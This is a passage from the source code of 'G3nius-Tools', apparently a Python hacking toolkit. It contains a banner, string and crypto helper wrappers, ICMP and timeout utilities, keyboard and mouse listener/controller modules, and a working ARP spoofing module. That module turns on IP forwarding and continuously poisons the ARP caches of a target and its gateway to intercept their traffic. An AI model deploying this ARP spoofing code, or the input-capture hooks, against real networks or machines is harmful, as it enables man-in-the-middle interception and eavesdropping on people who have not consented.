'yellow')) 31 | print('\033c') 32 | 33 | 34 | 35 | # Banner 36 | # 37 | # modules: 38 | # from termcolor import colored 39 | # import sys 40 | # import os 41 | # 42 | # internal modules: 43 | # gpl_fix_spases 44 | # gpl_clear 45 | # 46 | # version: 47 | # 1 48 | def gpl_clear_and_banner(owners_text='WitBlack',field2_title='',field2_text='',field3_title='',field3_text='',license='FREE'): # Banner_Version shuild in globals 49 | global Banner_Version 50 | if not 'Banner_Version' in globals(): 51 | raise Exception('Banner_Version not in globals. Run gpl_set_banner_verion first.') 52 | gpl_clear() 53 | Python_Version = str(version_info[0]) 54 | if len(field3_title) > 31: 55 | field3_title = field3_title[:31] 56 | if len(field2_title) > 31: 57 | field3_title = field2_title[:31] 58 | print(colored(' _______________________________________________________________________', 'red')) 59 | print(colored('|', 'red') + colored(' ▒███▒ ▒████ █ ', 'magenta') + colored(' |','red') + colored(' Programmer info: ', 'white') + colored('|', 'red')) 60 | print(colored('|', 'red') + colored('░█▒ ░█ █▒ ▓█ █ ', 'magenta') + colored(' |','red') + colored('---------------------------|', 'red')) 61 | print(colored('|', 'red') + colored('█▒ █ █▒██▒ █ █ █ ▒███▒', 'magenta') + colored(' |','red') + colored(' Programmed by WitBlack ', 'green') + colored('|', 'red')) 62 | print(colored('|', 'red') + colored('█ ▒█ █▓ ▒█ █ █ █ █▒ ░█', 'magenta') + colored(' |','red') + colored(' Github ~> ', 'white') + colored('|', 'red')) 63 | print(colored('|', 'red') + colored('█ ██ ███░ █ █ █ █ █ █▒░ ', 'magenta') + colored(' |','red') + colored('Https://github.com/WitBlack', 'blue') + colored('|', 'red')) 64 | print(colored('|', 'red') + colored('█ █ ▓█ █ █ █ █ █ ░███▒', 'magenta') + colored(' |','red') + colored(' Website ~> ', 'white') + colored('|', 'red')) 65 | print(colored('|', 'red') + colored('█▒ █ █ █ █ █ █ ▒█', 'magenta') + colored(' |','red') + colored('Https://BugZone.ir ', 'blue') + colored('|', 'red')) 66 | print(colored('|', 'red') + colored('▒█░ ░█ █░ ▓█ █ █ █ █▒ ▓█ █░ ▒█', 'magenta') + colored(' |','red') + colored(' E-Mail ~> ', 'white') + colored('|', 'red')) 67 | print(colored('|', 'red') + colored(' ▒███▒ ▒████ █ █ █ ▒██▒█ ▒███▒', 'magenta') + colored(' |','red') + colored('admin@bugzone.ir ', 'blue') + colored('|', 'red')) 68 | print(colored('|', 'red') + colored(' _________|___________________________|', 'red')) 69 | print(colored('|', 'red') + colored('________________________________|', 'red') + colored(' ███ ', 'magenta') + colored('|', 'red')) 70 | print(colored('|', 'red') + colored(' Information : ', 'white') + colored('|', 'red') + colored(' ███████ █ ', 'magenta') + colored('|', 'red')) 71 | print(colored('|', 'red') + colored('--------------------------------', 'red') + colored('|', 'red') + colored(' █ █ ', 'magenta') + colored('|', 'red')) 72 | print(colored('|', 'red') + colored(' Python Version: ', 'blue') + colored(Python_Version + ' ', 'white') + colored('|','red') + colored(' █ ███ ███ █ ▒███▒ ', 'magenta') + colored('|', 'red')) 73 | print(colored('|', 'red') + colored(' LICENSE: ', 'blue') + colored(gpl_fix_spases(license, 22,overflow=False), 'white') + colored('|','red') + colored(' █ █▓ ▓█ █▓ ▓█ █ █▒ ░█ ', 'magenta') + colored('|', 'red')) 74 | print(colored('|', 'red') + colored(' VERSION: ', 'blue') + colored(gpl_fix_spases(Banner_Version, 22,overflow=False), 'white') + colored('|','red') + colored(' █ █ █ █ █ █ █▒░ ', 'magenta') + colored('|', 'red')) 75 | print(colored('|', 'red') + colored(' OS: ', 'blue') + colored(gpl_fix_spases(OS, 27,overflow=False), 'white') + colored('|','red') + colored(' █ █ █ █ █ █ ░███▒ ', 'magenta') + colored('|', 'red')) 76 | print(colored('|', 'red') + colored(' Owners: ', 'blue') + colored(gpl_fix_spases(owners_text,23,overflow=False),'white') + colored('|', 'red') + colored(' █ █ █ █ █ █ ▒█ ', 'magenta') + colored('|', 'red')) 77 | print(colored('| ', 'red') + colored(field2_title,'blue') + colored(gpl_fix_spases(field2_text,31 - len(field2_title),overflow=False),'white') + colored('|', 'red') + colored(' █ █▓ ▓█ █▓ ▓█ █░ █░ ▒█ ', 'magenta') + colored('|', 'red')) 78 | print(colored('| ', 'red') + colored(field3_title,'blue') + colored(gpl_fix_spases(field3_text,31 - len(field3_title),overflow=False),'white') + colored('|', 'red') + colored(' █ ███ ███ ▒██ ▒███▒ ', 'magenta') + colored('|', 'red')) 79 | print(colored('|________________________________|_____________________________________|', 'red')) 80 | print(colored('| Warning:', 'red') + colored(" Don't break or kill script while process runing. ",'yellow') + colored('|', 'red')) 81 | print(colored('|______________________________________________________________________|\n', 'red')) 82 | 83 | 84 | 85 | # Set Banner Version 86 | # 87 | # modules: 88 | # 89 | # internal modules: 90 | # 91 | # version: 92 | # 1 93 | def gpl_set_banner_verion(Version): 94 | global Banner_Version 95 | Banner_Version = Version -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/String_Workers.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from random import choice 3 | from json import loads, dumps 4 | from urllib.parse import unquote, urlencode 5 | 6 | """ GPL """ 7 | 8 | # fix_spases 9 | # 10 | # version 11 | # 1 12 | def gpl_fix_spases(string,lenth,overflow=True,fill_with=' '): # lenth start from 1 13 | if len(string) < lenth: 14 | num = lenth - len(string) 15 | return (string + (fill_with * num)) 16 | elif len(string) > lenth: 17 | if overflow: 18 | return string 19 | else: 20 | return string[:lenth] 21 | else: 22 | return string 23 | 24 | 25 | 26 | # URL Encode 27 | # 28 | # version 29 | # 1 30 | def gpl_url_encode(str_or_params): 31 | if type(str_or_params) == dict: 32 | return urlencode(str_or_params) 33 | elif type(str_or_params) == str: 34 | return urlencode({'': str_or_params})[1:] 35 | else: 36 | raise Exception("URL encode input should be str or dict.") 37 | 38 | 39 | # URL Encode 40 | # 41 | # version 42 | # 1 43 | def gpl_url_decode(string): 44 | return unquote(string) 45 | 46 | 47 | # Random String 48 | # 49 | # version 50 | # 1 51 | def gpl_random_string(Size,Chars=['0','1','2','3','4','5','6','7','8','9','A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z','`','~','!','@','#','$','%','^','&','*','(',')','-','=',"\\",'/','.',',',';',':',"'",'"','[',']','{','}','|','+','_','<','>','?']): 52 | String = '' 53 | for i in range(0,Size): 54 | String += choice(Chars) 55 | return String 56 | 57 | 58 | # fix string to uri 59 | # 60 | # version 61 | # 1 62 | # 63 | # note: 64 | # use that's like: 65 | # "yours/uri" 66 | def gpl_fix_string_to_uri(URI, fix_for_without_double_quotation=False): 67 | URI = URI.replace("\\", "\\\\") 68 | Charecters = ['"', '!', '$', '`'] 69 | for Charecter in Charecters: 70 | URI = URI.replace(Charecter, '\\' + Charecter) 71 | if fix_for_without_double_quotation: 72 | Charecters = ["'", '&', ';', '|', '(', ')', '%', '$', '*', '?', '>', '[', ']', '`'] 73 | for Charecter in Charecters: 74 | URI = URI.replace(Charecter, "\\" + Charecter) 75 | return URI 76 | 77 | # convert everything to byte 78 | # 79 | # version 80 | # 1 81 | def gpl_convert_to_bytes(data): 82 | typ = type(data) 83 | if typ == str: 84 | data = data.encode() 85 | elif typ == int: 86 | data = str(data).encode() 87 | elif typ != bytes: 88 | data = bytes(data) 89 | del typ 90 | return data 91 | 92 | 93 | 94 | # JSON Loader 95 | # 96 | # modules: 97 | # from json import loads 98 | # 99 | # version: 100 | # 2 101 | def gpl_JSON_loads(JSON_String): 102 | try: 103 | return loads(JSON_String) 104 | except: 105 | return None 106 | 107 | 108 | # JSON Dumper 109 | # 110 | # modules: 111 | # from json import dumps 112 | # 113 | # version: 114 | # 2 115 | def gpl_JSON_dumps(JSON_String): 116 | try: 117 | return dumps(JSON_String) 118 | except: 119 | return None 120 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/Timeout.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from signal import SIGALRM, SIG_IGN ,signal, alarm 3 | from contextlib import contextmanager 4 | 5 | 6 | """ gpl """ 7 | # Timeout 8 | # 9 | # external modules: 10 | # signal 11 | # contextlib 12 | # 13 | # version: 14 | # 1 15 | @contextmanager 16 | def gpl_timeout(Sec=1): 17 | signal(SIGALRM, raise_timeout) 18 | alarm(Sec) 19 | try: 20 | yield 21 | except TimeoutError: 22 | pass 23 | finally: 24 | signal(SIGALRM, SIG_IGN) 25 | 26 | 27 | # Raise_Timeout 28 | # 29 | # version: 30 | # 1 31 | def raise_timeout(Signum, Frame): 32 | raise TimeoutError -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/AES.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from Crypto.Cipher import AES 4 | # internal 5 | from lib.GPL.String_Workers import gpl_convert_to_bytes 6 | 7 | 8 | 9 | """ 10 | 11 | Simple usage: 12 | 13 | 14 | 15 | from lib.GPL.attackers.cryptography.AES import * 16 | 17 | key = '1' * 8 # should be 16, 32, 64 , ... 18 | data = 'h' * 16 # should be 16, 32, 64 , ... 19 | 20 | cipher, nonce = gpl_AES_new_cipher(key, EAX=True) 21 | enc, digest = gpl_AES_encrypt(data, cipher, calculate_digest=True) 22 | print('encrypted: ', enc) 23 | cipher, nnoce = gpl_AES_new_cipher(key, nonce, EAX=True) 24 | print('decrypted: ', gpl_AES_decrypt(enc, cipher)) 25 | print(gpl_AES_verify(digest, cipher)) 26 | 27 | 28 | 29 | """ 30 | 31 | 32 | 33 | """ GPL """ 34 | 35 | # AES Encrypt 36 | # 37 | # external: 38 | # from Crypto.Cipher import AES 39 | # 40 | # version 41 | # 1 42 | def gpl_AES_new_cipher(key, nonce=None, CBC=False, GCM=False, CCM=False, CFB=False, EAX=False, CTR=False, ECB=False, OCB=False, OFB=False, OpenPGP=False, SIV=False): # block multiple mode 43 | Trues = [CBC, GCM, CCM, CFB, EAX, CTR, ECB, OCB, OFB, OpenPGP, SIV].count(True) 44 | if Trues != 1: 45 | raise Exception("AES Error! One mode should be True.") 46 | # detect mode 47 | if CBC: 48 | Mode = AES.MODE_CBC 49 | elif GCM: 50 | Mode = AES.MODE_GCM 51 | elif CCM: 52 | Mode = AES.MODE_CCM 53 | elif CFB: 54 | Mode = AES.MODE_CFB 55 | elif EAX: 56 | Mode = AES.MODE_EAX 57 | elif CTR: 58 | Mode = AES.MODE_CTR 59 | elif ECB: 60 | Mode = AES.MODE_ECB 61 | elif OCB: 62 | Mode = AES.MODE_OCB 63 | elif OFB: 64 | Mode = AES.MODE_OFB 65 | elif OpenPGP: 66 | Mode = AES.MODE_OPENPGP 67 | else: 68 | Mode = AES.MODE_SIV 69 | # check key be Bytes 70 | if type(key) != bytes: 71 | key = gpl_convert_to_bytes(key) 72 | # generate key 73 | if nonce: 74 | Cipher = AES.new(key, Mode, nonce=nonce) 75 | else: 76 | Cipher = AES.new(key, Mode) 77 | Nonce = Cipher.nonce 78 | return [Cipher, Nonce] 79 | 80 | 81 | 82 | # AES Encrypt 83 | # 84 | # external: 85 | # from Crypto.Cipher import AES 86 | # 87 | # version 88 | # 1 89 | def gpl_AES_encrypt(data, cipher, calculate_digest=False): 90 | # data most be byte 91 | data = gpl_convert_to_bytes(data) 92 | # encrypt 93 | if calculate_digest: 94 | return cipher.encrypt_and_digest(data) 95 | else: 96 | return cipher.encrypt(data) 97 | 98 | 99 | 100 | # AES Decrypt 101 | # 102 | # external: 103 | # from Crypto.Cipher import AES 104 | # 105 | # version 106 | # 1 107 | def gpl_AES_decrypt(data, cipher): 108 | return cipher.decrypt(data) 109 | 110 | 111 | 112 | # AES verify en/de+cryptions 113 | # 114 | # external: 115 | # from Crypto.Cipher import AES 116 | # 117 | # version 118 | # 1 119 | def gpl_AES_verify(tag, cipher): 120 | try: 121 | cipher.verify(tag) 122 | except: 123 | return False 124 | else: 125 | return True 126 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/HEX.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # Internal 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | # External 5 | from binascii import hexlify, unhexlify 6 | 7 | """ gpl """ 8 | # convert to HEX 9 | # 10 | # internal 11 | # gpl_convert_to_bytes 12 | # 13 | # Note: 14 | # 1. Input data can be string or bytes 15 | # 2. Result not started with 0x 16 | # 17 | # version 18 | # 1 19 | def gpl_HEXlify(data): 20 | data = gpl_convert_to_bytes(data) 21 | return hexlify(data) 22 | 23 | 24 | # convert from HEX 25 | # 26 | # internal 27 | # gpl_convert_to_bytes 28 | # 29 | # Note: 30 | # 1. Input should not started with 0x 31 | # 32 | # version 33 | # 1 34 | def gpl_unHEXlify(data): 35 | data = gpl_convert_to_bytes(data) 36 | return unhexlify(data) 37 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/MD5.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from hashlib import md5 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | 5 | # string to MD5 6 | # 7 | # external: 8 | # from hashlib import md5 9 | # 10 | # internal 11 | # gpl_convert_to_bytes 12 | # 13 | # version 14 | # 1 15 | def gpl_MD5(data): 16 | data = gpl_convert_to_bytes(data) 17 | return md5(data).hexdigest() -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/MDx.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from Crypto.Hash import MD2, MD4, MD5 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | 5 | # convert to MD5 6 | # 7 | # external: 8 | # from Crypto.Hash import MD5 9 | # 10 | # internal 11 | # gpl_convert_to_bytes 12 | # 13 | # version 14 | # 1 15 | def gpl_MD5(data): 16 | if type(data) != bytes: 17 | data = gpl_convert_to_bytes(data) 18 | md5 = MD5.new() 19 | md5.update(data) 20 | return md5.hexdigest() 21 | 22 | 23 | # convert to MD4 24 | # 25 | # external: 26 | # from Crypto.Hash import MD4 27 | # 28 | # internal 29 | # gpl_convert_to_bytes 30 | # 31 | # version 32 | # 1 33 | def gpl_MD4(data): 34 | if type(data) != bytes: 35 | data = gpl_convert_to_bytes(data) 36 | md4 = MD4.new() 37 | md4.update(data) 38 | return md4.hexdigest() 39 | 40 | 41 | # convert to MD4 42 | # 43 | # external: 44 | # from Crypto.Hash import MD4 45 | # 46 | # internal 47 | # gpl_convert_to_bytes 48 | # 49 | # version 50 | # 1 51 | def gpl_MD2(data): 52 | if type(data) != bytes: 53 | data = gpl_convert_to_bytes(data) 54 | md2 = MD2.new() 55 | md2.update(data) 56 | return md2.hexdigest() -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/RSA.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from rsa import newkeys, encrypt, decrypt 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | 5 | 6 | # generate new RSA keys 7 | # 8 | # external: 9 | # from rsa import newkeys 10 | # 11 | # version 12 | # 1 13 | def gpl_RSA_new_key(Key_Size): 14 | Keys = newkeys(Key_Size) 15 | return Keys 16 | 17 | 18 | # encrypt with RSA public key 19 | # 20 | # external: 21 | # from rsa import encrypt 22 | # 23 | # internal 24 | # gpl_convert_to_bytes 25 | # 26 | # version 27 | # 1 28 | def gpl_RSA_encrypt(Data, Public_Key): 29 | if type(Data) != bytes: 30 | Data = gpl_convert_to_bytes(Data) 31 | Encrypted = encrypt(Data, Public_Key) 32 | return Encrypted 33 | 34 | 35 | # decrypt with RSA private key 36 | # 37 | # external: 38 | # from rsa import decrypt 39 | # 40 | # internala 41 | # gpl_convert_to_bytes 42 | # 43 | # version 44 | # 1 45 | def gpl_RSA_decrypt(Data, Private_Key): 46 | if type(Data) != bytes: 47 | Data = gpl_convert_to_bytes(Data) 48 | Encrypted = decrypt(Data, Private_Key) 49 | return Encrypted -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/SHA_x.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from Crypto.Hash import SHA1, SHA224, SHA256, SHA384, SHA512 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | 5 | 6 | # convert to SHA1 7 | # 8 | # external: 9 | # from Crypto.Hash import SHA1 10 | # 11 | # internal 12 | # gpl_convert_to_bytes 13 | # 14 | # version 15 | # 1 16 | def gpl_SHA1(data): 17 | if type(data) != bytes: 18 | data = gpl_convert_to_bytes(data) 19 | sha1 = SHA1.new(data) 20 | sha1.update(data) 21 | return sha1.hexdigest() 22 | 23 | 24 | 25 | # convert to SHA224 26 | # 27 | # external: 28 | # from Crypto.Hash import SHA224 29 | # 30 | # internal 31 | # gpl_convert_to_bytes 32 | # 33 | # version 34 | # 1 35 | def gpl_SHA224(data): 36 | if type(data) != bytes: 37 | data = gpl_convert_to_bytes(data) 38 | sha224 = SHA224.new(data) 39 | sha224.update(data) 40 | return sha224.hexdigest() 41 | 42 | 43 | 44 | # convert to SHA256 45 | # 46 | # external: 47 | # from Crypto.Hash import SHA256 48 | # 49 | # internal 50 | # gpl_convert_to_bytes 51 | # 52 | # version 53 | # 1 54 | def gpl_SHA256(data): 55 | if type(data) != bytes: 56 | data = gpl_convert_to_bytes(data) 57 | sha256 = SHA256.new(data) 58 | sha256.update(data) 59 | return sha256.hexdigest() 60 | 61 | 62 | 63 | # convert to SHA384 64 | # 65 | # external: 66 | # from Crypto.Hash import SHA384 67 | # 68 | # internal 69 | # gpl_convert_to_bytes 70 | # 71 | # version 72 | # 1 73 | def gpl_SHA384(data): 74 | if type(data) != bytes: 75 | data = gpl_convert_to_bytes(data) 76 | sha384 = SHA384.new(data) 77 | sha384.update(data) 78 | return sha384.hexdigest() 79 | 80 | 81 | 82 | # convert to SHA512 83 | # 84 | # external: 85 | # from Crypto.Hash import SHA512 86 | # 87 | # internal 88 | # gpl_convert_to_bytes 89 | # 90 | # version 91 | # 1 92 | def gpl_SHA512(data): 93 | if type(data) != bytes: 94 | data = gpl_convert_to_bytes(data) 95 | sha512 = SHA512.new(data) 96 | sha512.update(data) 97 | return sha512.hexdigest() -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/XOR.py: -------------------------------------------------------------------------------- 1 | """ GPL """ 2 | def gpl_xor(Str1, Str2): 3 | Size = min(len(Str1), len(Str2)) 4 | Result = '' 5 | for i in range(Size): 6 | Result = Result + '%c' % (ord(Str1[i]) ^ ord(Str2[i])) 7 | return Result -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/cryptography/base_x.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from base64 import b16encode, b16decode, b32encode, b32decode, b64encode, b64decode, b85encode, b85decode 3 | from lib.GPL.String_Workers import gpl_convert_to_bytes 4 | 5 | 6 | # base16 encode 7 | # 8 | # external: 9 | # from base64 import b16encode 10 | # 11 | # internal 12 | # gpl_convert_to_bytes 13 | # 14 | # version 15 | # 1 16 | def gpl_base16_encode(data): 17 | data = gpl_convert_to_bytes(data) 18 | return str(b16encode(data)) 19 | 20 | 21 | # base16 decode 22 | # 23 | # external: 24 | # from base64 import b16encode 25 | # 26 | # internal 27 | # gpl_convert_to_bytes 28 | # 29 | # version 30 | # 1 31 | def gpl_base16_decode(data): 32 | data = gpl_convert_to_bytes(data) 33 | return b16decode(data) 34 | 35 | 36 | # base32 encode 37 | # 38 | # external: 39 | # from base64 import b32encode 40 | # 41 | # internal 42 | # gpl_convert_to_bytes 43 | # 44 | # version 45 | # 1 46 | def gpl_base32_encode(data): 47 | data = gpl_convert_to_bytes(data) 48 | return str(b32encode(data)) 49 | 50 | 51 | # base32 decode 52 | # 53 | # external: 54 | # from base64 import b32encode 55 | # 56 | # internal 57 | # gpl_convert_to_bytes 58 | # 59 | # version 60 | # 1 61 | def gpl_base32_decode(data): 62 | data = gpl_convert_to_bytes(data) 63 | return b32decode(data) 64 | 65 | 66 | # base64 encode 67 | # 68 | # external: 69 | # from base64 import b64encode 70 | # 71 | # internal 72 | # gpl_convert_to_bytes 73 | # 74 | # version 75 | # 1 76 | def gpl_base64_encode(data): 77 | data = gpl_convert_to_bytes(data) 78 | return str(b64encode(data)) 79 | 80 | 81 | # base64 decode 82 | # 83 | # external: 84 | # from base64 import b64encode 85 | # 86 | # internal 87 | # gpl_convert_to_bytes 88 | # 89 | # version 90 | # 1 91 | def gpl_base64_decode(data): 92 | data = gpl_convert_to_bytes(data) 93 | return b64decode(data) 94 | 95 | 96 | # base85 encode 97 | # 98 | # external: 99 | # from base64 import b85encode 100 | # 101 | # internal 102 | # gpl_convert_to_bytes 103 | # 104 | # version 105 | # 1 106 | def gpl_base85_encode(data): 107 | data = gpl_convert_to_bytes(data) 108 | return str(b85encode(data)) 109 | 110 | 111 | # base85 decode 112 | # 113 | # external: 114 | # from base64 import b85encode 115 | # 116 | # internal 117 | # gpl_convert_to_bytes 118 | # 119 | # version 120 | # 1 121 | def gpl_base85_decode(data): 122 | data = gpl_convert_to_bytes(data) 123 | return b85decode(data) -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/macro/Keyboard.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # Internal 3 | from lib.GPL.IO import gpl_sleep 4 | 5 | # External 6 | from pynput.keyboard import Controller, Listener 7 | 8 | # Configs 9 | from lib.config.GPL import Macro_Apply_Time 10 | 11 | 12 | """ FACADE """ 13 | from pynput.keyboard import Key 14 | 15 | 16 | """ Global """ 17 | Keyboard = Controller() 18 | 19 | 20 | """ GPL """ 21 | # set callback function for get keyboard events 22 | # 23 | # modules: 24 | # from pynput.keyboard import Listener 25 | # 26 | # version: 27 | # 1 28 | def gpl_keyboard_callback(on_press=None, on_release=None): 29 | try: 30 | listener = Listener(on_press=on_press, on_release=on_release) 31 | listener.start() 32 | return listener 33 | except: 34 | return None 35 | else: 36 | return True 37 | 38 | 39 | 40 | 41 | # wait for keyboard listener 42 | # 43 | # version: 44 | # 1 45 | def gpl_keyboard_join(listener): 46 | try: 47 | listener.join() 48 | except: 49 | return None 50 | else: 51 | return True 52 | 53 | 54 | 55 | # type a text with keyboard 56 | # 57 | # modules: 58 | # from pynput.keyboard import Controller 59 | # 60 | # NOTE: 61 | # This function only support ANSI characters 62 | # If this function can't type full string, 63 | # Increase "Macro_Apply_Time" at config file 64 | # 65 | # version: 66 | # 1 67 | def gpl_keyboard_type(text:str): 68 | try: 69 | for character in text: 70 | Keyboard.type(character) 71 | gpl_sleep(Macro_Apply_Time) 72 | except: 73 | return None 74 | 75 | 76 | # press hot key on keyboard 77 | # 78 | # version: 79 | # 1 80 | def gpl_keyboard_press(key:Key, hot_key:Key=None): 81 | try: 82 | if hot_key: 83 | with Keyboard.pressed(hot_key): 84 | Keyboard.press(key) 85 | Keyboard.release(key) 86 | else: 87 | Keyboard.press(key) 88 | except: 89 | return False 90 | else: 91 | return True 92 | 93 | 94 | # release key on keyboard 95 | # 96 | # version: 97 | # 1 98 | def gpl_keyboard_release(key:Key): 99 | try: 100 | Keyboard.release(key) 101 | except: 102 | return False 103 | else: 104 | return True 105 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/macro/Mouse.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from pynput.mouse import Controller, Listener 3 | 4 | """ FACADE """ 5 | from pynput.mouse import Button 6 | 7 | 8 | """ Global """ 9 | Mouse_Controller = Controller() 10 | Mouse_Listener = Listener() 11 | 12 | """ GPL """ 13 | # click on a position 14 | # 15 | # modules: 16 | # from pynput.mouse import Controller 17 | # from pynput.mouse import Button 18 | # 19 | # version: 20 | # 1 21 | def gpl_mouse_click(left_click=True, right_click=False, middle_click=False): 22 | if left_click: 23 | Mouse_Controller.click(Button.left) 24 | elif right_click: 25 | Mouse_Controller.click(Button.right) 26 | elif middle_click: 27 | Mouse_Controller.click(Button.middle) 28 | else: 29 | return False 30 | return True 31 | 32 | 33 | 34 | # click on a position 35 | # 36 | # modules: 37 | # from pynput.mouse import Controller 38 | # from pynput.mouse import Button 39 | # 40 | # version: 41 | # 1 42 | def gpl_mouse_move(x_pixel, y_pixel): 43 | try: 44 | Mouse_Controller.move(x_pixel, y_pixel) 45 | except: 46 | return False 47 | else: 48 | return True 49 | 50 | 51 | 52 | # click on a position 53 | # 54 | # modules: 55 | # from pynput.mouse import Controller 56 | # from pynput.mouse import Button 57 | # 58 | # version: 59 | # 1 60 | def gpl_mouse_set_position(x_pixel, y_pixel): 61 | try: 62 | Mouse_Controller.position = (x_pixel, y_pixel) 63 | except: 64 | return False 65 | else: 66 | return True 67 | 68 | 69 | 70 | # click on a position 71 | # 72 | # modules: 73 | # from pynput.mouse import Controller 74 | # from pynput.mouse import Button 75 | # 76 | # version: 77 | # 1 78 | def gpl_mouse_set_callback(on_move=None ,on_click=None ,on_scroll=None): 79 | try: 80 | return Listener(on_click=on_click, on_move=on_move, on_scroll=on_scroll) 81 | except: 82 | return False 83 | else: 84 | return True 85 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/macro/Screen.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from PIL import ImageGrab 3 | 4 | """ GPL """ 5 | # get pixel RGB code from screen 6 | # 7 | # modules: 8 | # from PIL import ImageGrab 9 | # 10 | # version: 11 | # 1 12 | def gpl_screen_pixel_color(x_pixel, y_pixel): 13 | try: 14 | Image = ImageGrab.grab() 15 | return Image.getpixel((x_pixel, y_pixel)) 16 | except: 17 | return False 18 | 19 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/ARP_Spoof.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from scapy.all import sendp, ARP, Ether 4 | from time import sleep 5 | 6 | # internal 7 | from lib.GPL.attackers.network.IP_To_MAC import gpl_ip_to_mac 8 | from lib.GPL.attackers.network.IP_Exists import gpl_ipv4_icmp_exists_check 9 | from lib.GPL.attackers.network.IP_Forwarding import gpl_set_ipv4_forward_state 10 | from lib.core.Error_Handler import Handler 11 | import lib.config.Error_Levels as Error_Levels 12 | from lib.config.GPL import ARP_Spoof_Resend_Sleep 13 | 14 | """ local """ 15 | ARP_SPOOF_RUN = True 16 | 17 | """ GPL """ 18 | # arp spoof attack once 19 | # 20 | # external: 21 | # from scapy.all import sendp, ARP, Ether 22 | # 23 | # version 24 | # 1 25 | def gpl_arp_spoof_fake_once(Target_IP, Target_MAC, Gateway_IP): 26 | Fake_ARP = Ether(dst=Target_MAC) / ARP(psrc=Gateway_IP, pdst=Target_IP, hwdst=Target_MAC, op="is-at") 27 | try: 28 | sendp(Fake_ARP, verbose=0) 29 | except: 30 | return False 31 | else: 32 | return True 33 | 34 | 35 | # stop arp spoof 36 | # 37 | # version 38 | # 1 39 | def gpl_arp_spoof_end_attack_thread(): 40 | global ARP_SPOOF_RUN 41 | ARP_SPOOF_RUN = False 42 | 43 | 44 | # arp spoof attack 45 | # 46 | # internal: 47 | # gpl_ipv4_icmp_exists_check 48 | # gpl_ip_to_mac 49 | # 50 | # note: 51 | # if return None, connection lose or IP(s) not wakeup 52 | # 53 | # version 54 | # 1 55 | def gpl_arp_spoof_thread(target_IP, gateway_IP, ignore_IP_exists_check=False, print_log=False): 56 | global ARP_SPOOF_RUN 57 | try: 58 | gpl_set_ipv4_forward_state(True) 59 | Target_State = gpl_ipv4_icmp_exists_check(target_IP) 60 | Gateway_State = gpl_ipv4_icmp_exists_check(gateway_IP) 61 | if (Target_State == True and Gateway_State == True) or ignore_IP_exists_check: 62 | Target_MAC = gpl_ip_to_mac(target_IP) 63 | Gateway_MAC = gpl_ip_to_mac(gateway_IP) 64 | while ARP_SPOOF_RUN: 65 | if print_log: 66 | Handler(Error_Levels.Alert, 'Send ArpSpoofs between "' + target_IP + '" (' + Target_MAC + ') and "' + gateway_IP + '" (' + Gateway_MAC + ')') 67 | # target -> hacker -> gateway 68 | gpl_arp_spoof_fake_once(target_IP, Target_MAC, gateway_IP) 69 | # gateway -> hacker -> target 70 | gpl_arp_spoof_fake_once(gateway_IP, Gateway_MAC, target_IP) 71 | sleep(ARP_Spoof_Resend_Sleep) 72 | ARP_SPOOF_RUN = True 73 | else: 74 | return None 75 | except (KeyboardInterrupt, EOFError): 76 | gpl_set_ipv4_forward_state(False) 77 | raise KeyboardInterrupt 78 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/Hostname_To_IP.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from socket import gethostbyname_ex 3 | 4 | # convert hostname to IP 5 | # 6 | # external: 7 | # from socket import gethostbyname_ex 8 | # 9 | # version 10 | # 1 11 | def gpl_hostname_to_ip(Hostname): 12 | return gethostbyname_ex(Hostname)[2] -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/ICMP.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from scapy.all import IP, ICMP, sr, conf 4 | 5 | # internal 6 | import lib.config.GPL as GPL_Config 7 | 8 | # disabe verbose 9 | conf.verb = 0 10 | 11 | # send and recv icmp 12 | # 13 | # external: 14 | # from scapy.all import IP, ICMP, sr 15 | # 16 | # note: 17 | # if return None: connection lose 18 | # 19 | # version 20 | # 1 21 | def gpl_icmp(ip, timeout=GPL_Config.ICMP_Timeout, TTL=GPL_Config.Default_TTL, payload=None): 22 | try: 23 | if payload != None: 24 | Answer, Unanswer = sr(IP(dst=ip, ttl=TTL) / ICMP() / payload, timeout=timeout) 25 | else: 26 | Answer, Unanswer = sr(IP(dst=ip, ttl=TTL) / ICMP(), timeout=timeout) 27 | return [Answer, Unanswer] 28 | except: 29 | return None 